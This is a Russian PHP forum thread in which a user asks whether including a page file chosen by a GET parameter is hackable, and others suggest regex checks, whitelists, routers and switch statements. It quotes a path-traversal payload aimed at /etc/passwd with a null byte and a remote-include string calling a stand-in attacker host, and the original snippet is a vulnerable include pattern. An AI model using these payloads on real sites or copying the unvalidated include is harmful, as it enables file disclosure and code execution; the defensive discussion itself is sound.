[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Взлом по include
123456
Возможно ли взломать сайт через эту часть когда???

$page = $_GET['p'];

if (file_exists(FILE .'/page/'. $page .'.php'))
include FILE .'/page/'.$page.'.php';
123456
Если ДА, то я думаю пропускать через регулярку переменную $page, т.к. в папке /page/ хранятся файлы только из букв, цифр, и точек.

Т.е. получится что-то похожее на вот этот код

$page = $_GET['p'];

if (preg_replace('/[A-Za-z0-9.]/', '', $page))
exit();

if (file_exists(FILE .'/page/'. $page .'.php'))
include FILE .'/page/'.$page.'.php';


Что скажете?
curious
а если например создать этот список файлов в виде массива(или таблица бд). Например $files = array(/* список файлов */); А затем уже проверять if(in_array(page, filles) && file_exists(..)){}
chee
123456, лучше вообще не использовать значения переменных из GET запроса на прямую. Делай это через какой-нибудь роутер.

Я юзаю вот этот: https://github.com/dannyvankooten/AltoRouter

Ну или еще вариант, это "белый список" доступных страниц.
Примерно так:

<?php
$page = isset($_GET['page']) ? $_GET['page'] : null;

$pages = array(
'users' => '/page/users.php',
'topics' => '/page/topics.php',
);


if (isset($pages[$page])) {
include FILE . $pages[$page];
}


_____________
Люди, имеющие низкий уровень квалификации, делают ошибочные выводы, принимают неудачные решения и при этом неспособны осознавать свои ошибки в силу низкого уровня своей квалификации
123456
Цитата
создать этот список файлов в виде массива


По мне так это лишнее для моей задачи.

Меня интересует надежность мною предложенного варианта.


F**k
Раньше (до php 5.3) была опасность "взлома" через передачу в get-запросе строки вида
?p=../../../../../../../../etc/passwd%00

и тд

Но в новых версиях PHP вроде бы эту узявимость пофиксили.
Думаю твой вариант "защиты" достаточен. Но на всякий случай убедиться, что $page не содержит ничего незаконного все же не повредит.
chee
123456, ты решил задачу и не уверен, что сделал это правильно, но при этом счиатешь лишним решение, которое ПОЛНОСТЬ безопасно, да еще и гибче твоего.
user posted image

_____________
Люди, имеющие низкий уровень квалификации, делают ошибочные выводы, принимают неудачные решения и при этом неспособны осознавать свои ошибки в силу низкого уровня своей квалификации
dron4ik
можно прочесть названия всех файлов в папке, сравнить с переданным параметром, и инклюднуть!

_____________
Ex3m.com.ua — Активный образ жизни
mvg
?p=get_file_context('http://hackerhosts.com/hackyoursitescript.php')


как раз из букв и цифр?

С точки зрения безопасности Get это не безопасный протокол потому что передача данных происходит открытым способом.

Если со страницы на страницу используйте session, если со ссылки - используйте куки, из формы post.
123456
Цитата
?p=get_file_context('http://hackerhosts.com/hackyoursitescript.php')

по вашему ваш запрос пройдет??

$page = $_GET['p'];

if (preg_replace('/[A-Za-z0-9.]/', '', $page))
exit();


killer8080
Цитата (123456 @ 11.01.2015 - 10:11)
Если ДА, то я думаю пропускать через регулярку переменную $page, т.к. в папке /page/ хранятся файлы только из букв, цифр, и точек.

Т.е. получится что-то похожее на вот этот код

$page = $_GET['p'];

if (preg_replace('/[A-Za-z0-9.]/', '', $page))
  exit();
 
if (file_exists(FILE .'/page/'. $page .'.php'))
  include FILE .'/page/'.$page.'.php';


Что скажете?
Эта уязвимость называется LFI

Цитата (F**k @ 11.01.2015 - 11:39)
Раньше (до php 5.3) была опасность "взлома" через передачу в get-запросе строки вида
?p=../../../../../../../../etc/passwd%00

раньше от нул байта спасали всеми ненавистные magic quotes, плюс еще сухошин патч
но есть и другие способы обхода
http://raz0r.name/articles/null-byte-alternative/
А вообще выше дали правильные советы, избегать попадания пользовательских данных в файловые пути!
mvg
Цитата (123456 @ 11.01.2015 - 13:33)
Цитата
?p=get_file_context('http://hackerhosts.com/hackyoursitescript.php')

по вашему ваш запрос пройдет??

$page = $_GET['p'];

if (preg_replace('/[A-Za-z0-9.]/', '', $page))
exit();

:lol: Не должен. Будут мешать : ( ) ' ' /



$p = filter_input(INPUT_GET, 'p');
Игорь_Vasinsky
$page = isset($_GET['page']) ? $_GET['page'] : false;

if($page){
switch($page){
case 'about' : $file = 'about.php'; break;
case 'contacts' : $file = 'contacts.php'; break;
case 'services' : $file = 'services.php'; break;
default : $file = 'index.php';
}
}



_____________
HTML, CSS (Bootstrap), JS(JQuery, ExtJS), PHP, MySQL, MSSql, Posgres, (TSql, BI OLAP, MDX), Mongo, Git, SVN, CodeIgnater, Symfony, Yii 2, JiRA, Redmine, Bitbucket, Composer, Rabbit MQ, Amazon (SQS, S3, Transcribe), Docker
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.